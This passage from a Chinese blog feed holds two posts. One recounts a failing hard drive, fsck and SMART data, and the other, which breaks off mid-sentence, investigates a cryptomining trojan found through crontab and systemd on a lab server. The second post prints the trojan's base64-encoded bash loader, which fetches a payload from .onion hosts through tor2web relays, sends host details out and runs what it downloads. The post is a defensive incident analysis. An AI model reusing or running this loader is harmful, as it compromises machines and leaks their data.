\u7684\u8fa3\u9e21 sata \u56fa\u6001\uff0c\u597d\u5728 Arch + i3wm \u4e0d\u592a\u5403\u8d44\u6e90\uff0c\u5e73\u65f6\u53ea\u7528\u6765\u6572\u4ee3\u7801\uff0c\u6302\u4e86\u4e00\u4e9b\u670d\u52a1\uff0c\u8ba1\u7b97\u5de5\u4f5c\u90fd\u5728\u670d\u52a1\u5668\u4e0a\u8dd1\u7684\uff0c\u6240\u4ee5\u9664\u4e86\u5076\u5c14\u7a7a\u95f4\u4e0d\u592a\u591f\uff0c\u5012\u662f\u4e00\u76f4\u6d41\u7545\u3002<\/p>\n\n<p>2T \u7684\u5e0c\u6377\u88ab\u5206\u6210\u4e86\u4e24\u4e2a 1T \u7684\u5206\u533a\u3002\u4e00\u4e2a\u5206\u533a\u662f\u4ee5\u524d windows+ubuntu \u53cc\u7cfb\u7edf\u65f6\u5019\u7684windows\u7684\u6570\u636e\u76d8,\u88ab\u683c\u5f0f\u5316\u6210 ext4\u6302\u8f7d\u5230\u4e86 <code class=\"language-plaintext highlighter-rouge\">\/data<\/code> \uff1b\u53e6\u4e00\u4e2a\u5206\u533a\u662f \u4ee5\u524d ubuntu \u7684\u6839\u5206\u533a\uff0c\u5728\u6211\u4e3b\u529b\u4f7f\u7528 Arch \u4e4b\u540e\u6302\u8f7d\u5230\u4e86 <code class=\"language-plaintext highlighter-rouge\">~\/ubuntu<\/code> \u4e0b\u9762\uff0c\u6240\u4ee5\u6211\u8981\u8bbf\u95ee\u4ee5\u524d\u7684\u6570\u636e\uff0c\u9700\u8981\u8bbf\u95ee\u8def\u5f84 <code class=\"language-plaintext highlighter-rouge\">\/home\/{USERNAME}\/ubuntu\/home\/{USERNAME}\/old_path<\/code>\u3002\u8fd9\u6b21\u51fa\u95ee\u9898\u7684\u4fbf\u662f\u8fd9 <code class=\"language-plaintext highlighter-rouge\">~\/ubuntu<\/code> \u8fd9\u4e2a\u5206\u533a\u3002<\/p>\n\n<p>\u6240\u4ee5\u73b0\u5728\u7684\u6302\u8f7d\u70b9\u5982\u4e0b\uff08\u7565\u53bb\u65e0\u5173\u786c\u76d8\uff09<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n<\/pre><\/td><td class=\"rouge-code\"><pre>NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTS\nsdb      8:16   0   1.8T  0 disk \n\u251c\u2500sdb1   8:17   0  1000G  0 part \/data\n\u251c\u2500sdb3   8:19   0   513M  0 part \n\u2514\u2500sdb4   8:20   0 862.5G  0 part \/home\/yuyu\/ubuntu\nsdc      8:32   0 119.2G  0 disk \n\u251c\u2500sdc1   8:33   0   511M  0 part \/boot\n\u2514\u2500sdc2   8:34   0 118.7G  0 part \/\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u56de\u5230\u6b63\u9898\uff0c\u628a\u62a5\u9519\u4fe1\u606f\u4e0a\u7f51\u641c\u7d22\u4e86\u4e00\u756a\uff0c\u53d1\u73b0\u6709\u4eba\u9047\u5230\u540c\u6837\u7684<a href=\"https:\/\/blog.csdn.net\/weixin_44444810\/article\/details\/121524643\">\u95ee\u9898<\/a>\uff0c\u4e8e\u662f\u6211\u4e5f\u51b3\u5b9a\u8bd5\u8bd5 fsck \u770b\u770b\u80fd\u4e0d\u80fd\u4fee\u590d\u3002<\/p>\n\n<p>\u4ee5\u524d\u7f51\u4e0a\u4e5f\u770b\u5230\u6709\u4eba\u8bf4 fsck \u4fee\u590d\u5c31\u5b8c\u4e8b\u4e86\uff0c\u6211\u4e5f\u6ca1\u60f3\u592a\u591a\uff0c\u76f4\u63a5 <code class=\"language-plaintext highlighter-rouge\">fsck -y \/dev\/disk\/by-uuid\/12121212<\/code> \u6572\u8fdb\u53bb\uff0c\u5f88\u5feb\uff0c\u98de\u5feb\u7684\u8dd1\u4e86\u8d77\u6765\uff0c\u770b\u8d77\u6765\u9700\u8981\u4e00\u70b9\u65f6\u95f4\uff0c\u4e8e\u662f\u6211\u7ee7\u7eed\u7f51\u4e0a\u51b2\u6d6a\u3002<\/p>\n\n<p>\u770b\u5230\u6709\u4eba\u8bf4 fsck \u4f1a\u628a\u78c1\u76d8\u641e\u5f97\u5f88\u4e71\uff0c\u8fd9\u65f6\u5019\u53d1\u73b0\u6211\u5df2\u7ecf\u6ca1\u6709\u56de\u5934\u8def\u4e86\u3002<\/p>\n\n<p>\u7b49\u5f85 fsck \u7684\u65f6\u95f4\uff0c\u5fc3\u7406\u6d3b\u52a8\u5982\u4e0b :)<\/p>\n\n<p>\u574f\u6d88\u606f\uff1a\u786c\u76d8\u574f\u4e86\u3002<\/p>\n\n<p>\u597d\u6d88\u606f\uff1a\u4f3c\u4e4e\u770b\u8d77\u6765\u80fd\u4fee\u3002<\/p>\n\n<p>\u574f\u6d88\u606f\uff1a\u5b9e\u9a8c\u4ee3\u7801\u5728\u91cc\u9762\u3002<\/p>\n\n<p>\u597d\u6d88\u606f\uff1a\u5199\u5b8c\u4e00\u4e2a\u90e8\u5206\u6211\u90fd\u987a\u624b git \u63a8\u9001\u5230\u4e86\u4e24\u4e2a\u4e0d\u540c\u7684\u670d\u52a1\u5668\u3002<\/p>\n\n<p>\u574f\u6d88\u606f\uff1a\u6709\u4e00\u90e8\u5206\u6bd4\u8f83\u5927\u7684\u6570\u636e\u6587\u4ef6\u53ef\u80fd\u6ca1\u52a0\u5230 git \u91cc\u9762\u3002<\/p>\n\n<p>\u597d\u6d88\u606f\uff1a\u53ef\u80fd\u4ed6\u4eec\u6ca1\u90a3\u4e48\u91cd\u8981\uff0c\u4e5f\u6709\u90e8\u5206\u88ab pycharm \u81ea\u52a8\u540c\u6b65\u5230\u8fdc\u7a0b\u670d\u52a1\u5668\u4e86\u3002<\/p>\n\n<p>\u574f\u6d88\u606f\uff1a\u5b9e\u9a8c\u6570\u636e\u4e5f\u5728\u8fd9\u5757\u574f\u4e86\u7684\u786c\u76d8\u3002<\/p>\n\n<p>\u597d\u6d88\u606f\uff1a\u5927\u90e8\u5206\u6570\u636e\u90fd\u5728\u670d\u52a1\u5668\uff0c\u6570\u636e\u96c6\u6709\u591a\u91cd\u5907\u4efd\u3002<\/p>\n\n<p>\u574f\u6d88\u606f\uff1a\u9664\u4e86\u5b9e\u9a8c\u4ee3\u7801\uff0c\u8fd8\u6709\u4ee5\u524d\u7a81\u53d1\u5947\u60f3\u5199\u7684\u4e00\u4e9b\u5176\u4ed6\u4ed3\u5e93\u7684\u4ee3\u7801\u3002<\/p>\n\n<p>\u597d\u6d88\u606f\uff1a\u51e0\u5e74\u90fd\u6ca1\u7528\u4e00\u6b21\uff0c\u4ed6\u4eec\u4e5f\u4f3c\u4e4e\u6ca1\u90a3\u4e48\u91cd\u8981\u3002<\/p>\n\n<p>\u574f\u6d88\u606f\uff1a\u6211\u6709\u4e00\u4e9b\u914d\u7f6e\u7c7b\u7684\u6570\u636e\u548c\u65e5\u5fd7\uff0c\u6bd4\u5982 prometheus \u548c clash \u90fd\u5728\u8fd9\u4e2a\u8def\u5f84\u3002<\/p>\n\n<p>\u597d\u6d88\u606f\uff1a\u90fd\u80fd\u91cd\u65b0\u914d\u7f6e\u3002Prometheus \u6293\u7684\u672c\u673a\u548c\u670d\u52a1\u5668\u7684\u65e5\u5fd7\u5e76\u4e0d\u91cd\u8981\u3002<\/p>\n\n<p>\u574f\u6d88\u606f\uff1a\/data \u8def\u5f84\u4e5f\u662f\u540c\u4e00\u5757\u78c1\u76d8\uff0c\u53ef\u80fd\u4e5f\u4f1a\u53d7\u5230\u5f71\u54cd\u3002<\/p>\n\n<p>\u597d\u6d88\u606f\uff1a\u5168\u90e8\u5907\u4efd\u5230\u4e86\u65b0\u7684\u5e0c\u6377\u786c\u76d8\u3002<\/p>\n\n<p>\u5fc3\u60c5\u8d77\u8d77\u843d\u843d\u843d\u843d\u843d\uff0c\u6700\u540e\u5f97\u51fa\u7ed3\u8bba\uff0c\u57fa\u672c\u6ca1\u5f71\u54cd\u3002<\/p>\n\n<p>\u7b49\u4e86\u5feb\u4e00\u4e2a\u5c0f\u65f6\uff0c fsck \u7ec8\u4e8e\u8dd1\u5b8c\u4e86\u3002\u770b\u4e86 fsck \u8dd1\u51fa\u6765\u7684\u6587\u4ef6\uff0c\u5b8c\u5168\u6ca1\u6709\u6211\u7684\u5de5\u4f5c\u8def\u5f84\u7684\u6587\u4ef6\uff0c\u6240\u4ee5\u7ed3\u5c40\u662f\u4ec0\u4e48\u90fd\u6ca1\u5269\u4e0b\u3002<\/p>\n\n<p>\u73b0\u5728\u91cd\u542f\u7535\u8111\u80fd\u6b63\u5e38\u8fdb SDDM \u4e86\uff0c\u6240\u4ee5\u7684\u786e\u662f\u786c\u76d8\u6545\u969c\u5bfc\u81f4\u7684\u5f00\u673a\u5931\u8d25\u3002<\/p>\n\n<p>\u8fd9\u5757\u673a\u68b0\u786c\u76d8\u7684\u4e24\u4e2a\u5206\u533a\u90fd\u662f\u957f\u671f 90% \u4ee5\u4e0a\u7684\u7a7a\u95f4\u5360\u7528\uff0c\u800c\u6211\u4e5f\u6ca1\u5176\u4ed6\u7684\u786c\u76d8\u6765\u7f13\u89e3\u4ed6\u7684\u538b\u529b\uff0c\u4e8e\u662f\u53ea\u80fd\u957f\u671f\u7528\u8fd9\u4e00\u4e01\u70b9\u7684\u7a7a\u95f4\uff0c\u9020\u6210\u4e86\u5bf9\u90e8\u5206\u6247\u533a\u7684\u53cd\u590d\u64e6\u5199\uff0c\u8fd9\u5bf9\u4e8e\u53e0\u74e6\u6765\u8bf4\uff0c\u7b80\u76f4\u5c31\u662f debuff \u52a0 debuff\uff0c\u5149\u901f\u574f\u6389\u4e5f\u5c31\u662f\u610f\u6599\u4e4b\u4e2d\u4e86\u3002<\/p>\n\n<p>\u770b\u4e86 smart \u4fe1\u606f\uff0c\u901a\u7535\u65f6\u95f4 23000\u5c0f\u65f6\u3002SMR \u7684\u5bff\u547d\u4e5f\u8fd8\u51d1\u5408\u5427\u3002\u4ee5\u540e\u62ff\u6765\u5f53\u4e2a\u4e0b\u8f7d\u76d8\uff0c\u653e\u70b9\u4e0d\u91cd\u8981\u7684\u6570\u636e\u3002<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n<\/pre><\/td><td class=\"rouge-code\"><pre>ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE\n  1 Raw_Read_Error_Rate     0x000f   080   042   006    Pre-fail  Always       -       93759304\n  3 Spin_Up_Time            0x0003   098   098   000    Pre-fail  Always       -       0\n  4 Start_Stop_Count        0x0032   100   100   020    Old_age   Always       -       66\n  5 Reallocated_Sector_Ct   0x0033   098   098   010    Pre-fail  Always       -       6792\n  7 Seek_Error_Rate         0x000f   085   060   045    Pre-fail  Always       -       348280899\n  9 Power_On_Hours          0x0032   074   074   000    Old_age   Always       -       23282h+35m+49.427s\n 10 Spin_Retry_Count        0x0013   100   100   097    Pre-fail  Always       -       0\n 12 Power_Cycle_Count       0x0032   100   100   020    Old_age   Always       -       60\n183 Runtime_Bad_Block       0x0032   099   099   000    Old_age   Always       -       1\n184 End-to-End_Error        0x0032   100   100   099    Old_age   Always       -       0\n187 Reported_Uncorrect      0x0032   001   001   000    Old_age   Always       -       65535\n188 Command_Timeout         0x0032   100   099   000    Old_age   Always       -       5 5 5\n189 High_Fly_Writes         0x003a   100   100   000    Old_age   Always       -       0\n190 Airflow_Temperature_Cel 0x0022   062   053   040    Old_age   Always       -       38 (Min\/Max 36\/43)\n191 G-Sense_Error_Rate      0x0032   100   100   000    Old_age   Always       -       0\n192 Power-Off_Retract_Count 0x0032   100   100   000    Old_age   Always       -       817\n193 Load_Cycle_Count        0x0032   097   097   000    Old_age   Always       -       7002\n194 Temperature_Celsius     0x0022   038   047   000    Old_age   Always       -       38 (0 20 0 0 0)\n195 Hardware_ECC_Recovered  0x001a   080   064   000    Old_age   Always       -       93759304\n197 Current_Pending_Sector  0x0012   100   100   000    Old_age   Always       -       200\n198 Offline_Uncorrectable   0x0010   100   100   000    Old_age   Offline      -       200\n199 UDMA_CRC_Error_Count    0x003e   200   200   000    Old_age   Always       -       0\n240 Head_Flying_Hours       0x0000   100   253   000    Old_age   Offline      -       20730h+21m+55.140s\n241 Total_LBAs_Written      0x0000   100   253   000    Old_age   Offline      -       17738219158\n242 Total_LBAs_Read         0x0000   100   253   000    Old_age   Offline      -       23154170983\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u524d\u9762\u8bf4\u5230\u6570\u636e\u540c\u6b65\u5230\u4e86\u670d\u52a1\u5668\uff0c\u4f46\u5176\u5b9e\u670d\u52a1\u5668\u4e5f\u4e0d\u662f\u7edd\u5bf9\u7684\u5b89\u5168\uff0c50\u5929\u4ee5\u524d\u521a\u88ab\u4eba  <code class=\"language-plaintext highlighter-rouge\">rm -rf \/* <\/code>\uff0c\u8fc7\u7a0b\u5728 https:\/\/v2ex.com\/t\/933914#r_12974302<\/p>\n\n<blockquote>\n  <p>\u4e24\u5929\u524d\uff0c\u670d\u52a1\u5668 50T \u7684\u6570\u636e\u76d8\u7a81\u7136\u6ee1\u4e86\uff0c\u6211\u770b\u65e5\u5fd7\u627e\u5230\u4e86\u5f53\u4e8b\u4eba\uff0c\u4ed6\u8bf4\u4ed6\u6e05\u7406\u4e0b\u6570\u636e\u3002\u8fc7\u4e86\u4e09\u5206\u949f\uff0c\u4ed6\u7ed9\u6211\u8bf4\u4ed6\u628a\u6839\u76ee\u5f55\u5220\u4e86\u3002\u672c\u6765\u60f3\u8f93\u5165 rm -rf .\/*\u7684\uff0c\u7ed3\u679c\u5c11\u5199\u4e86\u4e2a . \u60ca\u51fa\u4e00\u8eab\u6c57\uff0c\u8fd8\u597d\u4ed6\u6309 ctrl C \u8db3\u591f\u5feb\uff0c\u5220\u4e86\u51e0\u79d2\u949f\u5c31\u53d1\u73b0\u95ee\u9898\u4e86\u3002\u6b64\u65f6 \/usr \u548c \/bin \u8def\u5f84\u5df2\u7ecf\u88ab\u5e72\u6389\u4e86\uff0c\u5565\u547d\u4ee4\u90fd\u4e0d\u597d\u4f7f\u3002\u4e07\u5e78\u7684\u662f\uff0c\u770b Grafana \u65e5\u5fd7\u80fd\u53d1\u73b0\u6570\u636e\u76d8\u7a7a\u95f4\u548c \/home \u5360\u7528\u6ca1\u53d8\uff0c\u6570\u636e\u8fd8\u5728\uff0c\u53bb\u673a\u623f\u8fdb liveCD \u628a\u539f\u6765 \/home \u7684\u6570\u636e\u62f7\u5230\u6570\u636e\u76d8\uff0c\u91cd\u505a\u7cfb\u7edf\uff0c\u9664\u4e86\u6d6a\u8d39\u4e86\u70b9\u65f6\u95f4\uff0c\u57fa\u672c\u6ca1\u5565\u635f\u5931\u3002<\/p>\n<\/blockquote>\n\n<h1 id=\"\u8dcb\">\u8dcb<\/h1>\n<p>\u867d\u7136\u6700\u540e\u6ca1\u5565\u5f71\u54cd\uff0c\u4f46\u7ec8\u5f52\u662f\u786c\u76d8\u574f\u4e86\u3002 \u82b1\u4e86\u4e24\u4e2a\u5c0f\u65f6\u707e\u540e\u91cd\u5efa\uff0c\u91cd\u65b0\u914d\u4e86\u4e00\u4e9b\u670d\u52a1\uff0c\u8fd9\u4e5f\u7b97\u662f\u63d0\u4e86\u4e2a\u9192\uff0c\u6570\u636e\u9700\u8981\u591a\u5907\u4efd\u5427\u3002<\/p>\n\n<p>Take home message:<\/p>\n<ol>\n  <li>\u91cd\u8981\u6570\u636e\u52a1\u5fc5\u8981\u5907\u4efd\uff0c\u5b9a\u671f\u5907\u4efd\u5f88\u91cd\u8981<\/li>\n  <li>\u5173\u6ce8\u786c\u76d8\u5065\u5eb7\u72b6\u6001\uff0c\u51c6\u5907\u597d Plan B<\/li>\n  <li>\u4e0d\u8981\u8ba9\u786c\u76d8\u4ee5\u957f\u65f6\u95f4\u5360\u7528\u5927\u90e8\u5206\u786c\u76d8\u7a7a\u95f4\u7684\u72b6\u6001\u8fd0\u884c\uff0c\u8fd9\u5c06\u9020\u6210\u53cd\u590d\u64e6\u5199\u540c\u4e00\u7247\u533a\u57df\uff0c\u52a0\u901f\u786c\u76d8\u635f\u574f\u901f\u5ea6\u3002\u56fa\u6001\u786c\u76d8\u53ef\u80fd\u6709\u635f\u8017\u5747\u8861\u7b97\u6cd5\u52a0\u6301\uff0c\u53ef\u4ee5\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u7f13\u89e3\u8fd9\u4e2a\u95ee\u9898\uff0c\u4f46\u662f\u4fdd\u6301\u5173\u6ce8 smart \u4fe1\u606f\u4ecd\u7136\u662f\u5f88\u91cd\u8981\u7684\uff0c\u6bd5\u7adf\u6211\u7684\u8717\u725b\u661f\u9645\u4e0a\u7684 16G msata SSD \u7684 smart \u957f\u671f\u62a5\u8b66\uff0c\u5728\u53bb\u5e74\u4e5f\u6b47\u83dc\u4e86\u3002<\/li>\n<\/ol>\n\n<p>Les1ie<\/p>\n\n<p>2023.6.9<\/p>\n","pubDate":"Fri, 09 Jun 2023 01:12:03 +0000","link":"https:\/\/iansmith123.github.io\/2023\/06\/09\/broken-hdd\/","guid":"https:\/\/iansmith123.github.io\/2023\/06\/09\/broken-hdd\/","category":"\u968f\u7b14"},{"title":"\u53c8\u4e00\u8d77\u6316\u77ff\u6728\u9a6c\u6392\u67e5","description":"<h1 id=\"\u5e8f\">\u5e8f<\/h1>\n\n<p>\u7ec4\u91cc\u6709\u540c\u5b66\u8bf4\u4ed6\u4eec\u673a\u5668\u88ab\u653b\u51fb\u4e86 :(<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712164644.png\" alt=\"\" \/><\/p>\n\n<p>\u51fa\u73b0\u7684\u95ee\u9898\u662f\u6709\u4e2a\u8fdb\u7a0b\u5360\u6ee1\u4e86 cpu\uff0c\u5e76\u4e14\u5e72\u4e0d\u6389\u4ed6<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712165007.png\" alt=\"\" \/><\/p>\n\n<p>\u90a3\u4e48\u5f00\u641e :)<\/p>\n\n<h1 id=\"\u5206\u6790\">\u5206\u6790<\/h1>\n\n<p>\u767b\u5f55\u4e4b\u540e\u770b\u5230\u4e86\u719f\u6089\u7684\u968f\u673a\u5b57\u7b26\u4e32\u4e3a\u6587\u4ef6\u540d\u7684\u5360\u6ee1\u4e86 CPU \u7684\u7a0b\u5e8f<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210713162517.png\" alt=\"\" \/><\/p>\n\n<p>\u5148\u60f3\u5230\u4e86\u4e0a\u6b21\u5e2e\u66fe\u5927\u4f6c\u540c\u5b66\u770b\u7684\u90a3\u53f0\u673a\u5668\uff0c\u4e8e\u662f\u76f4\u5954\u4e3b\u9898\uff0c\u770b\u770b systemd \u91cc\u9762\u662f\u8c01\u628a\u4ed6\u62c9\u8d77\u6765\u7684<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712152849.png\" alt=\"\" \/><\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n<\/pre><\/td><td class=\"rouge-code\"><pre>\u25cf session-7.scope - Session 7 of user root\n   Loaded: loaded (\/run\/systemd\/system\/session-7.scope; static; vendor preset: disabled)\n  Drop-In: \/run\/systemd\/system\/session-7.scope.d\n           \u2514\u250050-After-systemd-logind\\x2eservice.conf, 50-After-systemd-user-sessions\\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con\nf\n   Active: active (abandoned) since \u4e00 2021-07-12 10:05:01 CST; 4h 52min ago\n   CGroup: \/user.slice\/user-0.slice\/session-7.scope\n           \u251c\u25002075 tOAK5Ejl\n           \u251c\u25002402 tracepath\n           \u2514\u25003226 LDi4ZYIl\n\n7\u6708 12 14:47:44 localhost.localdomain crontab[21477]: (root) LIST (root)\n7\u6708 12 14:49:45 localhost.localdomain crontab[21591]: (root) LIST (root)\n7\u6708 12 14:49:46 localhost.localdomain crontab[21654]: (root) LIST (root)\n7\u6708 12 14:49:46 localhost.localdomain crontab[21663]: (root) LIST (root)\n7\u6708 12 14:51:48 localhost.localdomain crontab[21780]: (root) LIST (root)\n7\u6708 12 14:55:50 localhost.localdomain crontab[21971]: (root) LIST (root)\n7\u6708 12 14:55:50 localhost.localdomain crontab[21979]: (root) LIST (root)\n7\u6708 12 14:57:51 localhost.localdomain crontab[22227]: (root) REPLACE (root)\n7\u6708 12 14:57:51 localhost.localdomain crontab[22230]: (root) REPLACE (root)\n7\u6708 12 14:57:52 localhost.localdomain crontab[22289]: (root) LIST (root)\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u771f\u4e0d\u5de7\uff0c\u770b\u8d77\u6765\u4e0d\u662f\u6ce8\u518c\u5230 systemd \u7684\uff0c\u90a3\u4e48\u662f\u8c01\u62c9\u8d77\u6765\u7684\u5462\uff1f<\/p>\n\n<p>\u554a\uff0c\u662f crontab\uff08\u8fd9\u5728\u6211\u5199\u8fd9\u7bc7\u6587\u7ae0\u7684\u65f6\u5019\u624d\u6ce8\u610f\u5230\uff09<\/p>\n\n<p>\u975e\u5e38\u4e0d\u5de7\uff0c\u6211\u5f53\u65f6\u4e00\u5fc3\u60f3\u627e\u662f\u54ea\u4e2a service\uff0c\u6ca1\u6ce8\u610f\u5230 crontab \u7684\u5b58\u5728\uff0c\u8fd8\u4ee5\u4e3a\u4e0a\u6b21\u7684\u90a3\u4e2a\u6316\u77ff\u6728\u9a6c\u6362\u4e86\u4e2a service \u7684\u540d\u5b57\uff0c\u8fd8\u53bb\u8fd9\u4e2a\u8def\u5f84\u627e\u4e86\u597d\u4e45\uff0c\u627e\u4e86\u534a\u5929\u4e5f\u6ca1\u6709\u770b\u5230\u6076\u610f\u7684 service \u554a<\/p>\n\n<p>\u7a81\u7136\u60f3\u5230\u6211\u8fd8\u6ca1\u770b crontab<\/p>\n\n<p>\u4e8e\u662f\u6253\u5f00crontab<\/p>\n\n<p>\u53d1\u73b0\u4e86\u4e00\u6761\u6307\u4ee4<\/p>\n\n<p>\u4ed6\u9759\u9759\u7684\u5446\u5728\u90a3\u91cc<\/p>\n\n<p>\u50cf\u662f\u5728\u5632\u7b11\u6211\u592a\u83dc\u4e86\uff0c\u8fd9\u4e2a\u5957\u8def\u90fd\u6ca1\u6ce8\u610f\u5230 :P<\/p>\n\n<p>\u4e8e\u662f\uff0c\u6ce8\u91ca\u6389\u8fd9\u884c\uff0c\u7136\u540e\u5bf9\u7740\u521a\u521a systemd \u8f93\u51fa\u7684\u4e09\u4e2a\u8fdb\u7a0b\u4e00\u987f kill<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>           \u251c\u25002075 tOAK5Ejl\n           \u251c\u25002402 tracepath\n           \u2514\u25003226 LDi4ZYIl\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712153642.png\" alt=\"\" \/><\/p>\n\n<p>\u518d\u770b\u770b\u8d1f\u8f7d\uff0c\u77ac\u95f4\u5b89\u9759\u4e86\u4e0b\u6765<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712153744.png\" alt=\"\" \/><\/p>\n\n<p>\u4f3c\u4e4e\u6682\u65f6\u641e\u5b9a\u4e86\uff0c\u4e0d\u6392\u9664\u8fd8\u6709\u5176\u4ed6\u540e\u624b\uff08\u4e8b\u540e\u60f3\u60f3\uff0c\u5f53\u65f6\u7684\u76f4\u89c9\u8fd8\u662f\u5bf9\u7684hh<\/p>\n\n<p>\u4e0d\u8fc7\u73b0\u5728\u6709\u7ebf\u7d22\u4e86\uff0c\u53bb\u770b\u770b\u6076\u610f\u6587\u4ef6\u7684\u5185\u5bb9<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"o\">[<\/span>root@localhost ~]# <span class=\"nb\">cat<\/span> .systemd-private-jeAozqLbO5Ni2rtDL7lwAMXluzYQMl.sh\n<span class=\"c\">#!\/bin\/bash<\/span>\n<span class=\"nb\">exec<\/span> &amp;&gt;\/dev\/null\n<span class=\"nb\">echo <\/span>jeAozqLbO5Ni2rtDL7lwAMXluzYQMl\n<span class=\"nb\">echo <\/span>amVBb3pxTGJPNU5pMnJ0REw3bHdBTVhsdXpZUU1sCmV4ZWMgJj4vZGV2L251bGwKZXhwb3J0IFBBVEg9JFBBVEg6JEhPTUU6L2Jpbjovc2JpbjovdXNyL2JpbjovdXNyL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9sb2Nh\nbC9zYmluCgpkPSQoZ3JlcCB4OiQoaWQgLXUpOiAvZXRjL3Bhc3N3ZHxjdXQgLWQ6IC1mNikKYz0kKGVjaG8gImN1cmwgLTRmc1NMa0EtIC1tMjAwIikKdD0kKGVjaG8gImJnZ3RzNTQ3Z3VraHZtZjRjZ2FuZGxneHhwaGVuZ3hvd\nm95bzZld2huczVxbW1iMmI1b2k0M3lkIikKCnNvY2t6KCkgewpuPShkb2gudGhpcy53ZWIuaWQgZG9oLnBvc3QtZmFjdHVtLnRrIGRucy5ob3N0dXgubmV0IHVuY2Vuc29yZWQubHV4MS5kbnMubml4bmV0Lnh5eiBkbnMucnVieW\nZpc2guY24gZG5zLnR3bmljLnR3IGRvaC1maS5ibGFoZG5zLmNvbSBmaS5kb2guZG5zLnNub3B5dGEub3JnIHJlc29sdmVyLWV1LmxlbHV4LmZpIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyA\niZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMSkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAn\nXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY\n2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbW\nF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQ\noY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iy\nd2ViLmluIHRvcjJ3ZWIuaXQKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wM\n<span class=\"nv\">Skvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo<\/span><span class=\"o\">=<\/span>|base64 <span class=\"nt\">-d<\/span>\n|bash\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u5e76\u4e0d\u7b80\u77ed\u7684\u7a0b\u5e8f\uff0c\u4e3b\u8981\u5185\u5bb9\u662f\u4e00\u4e2a\u7528 base64 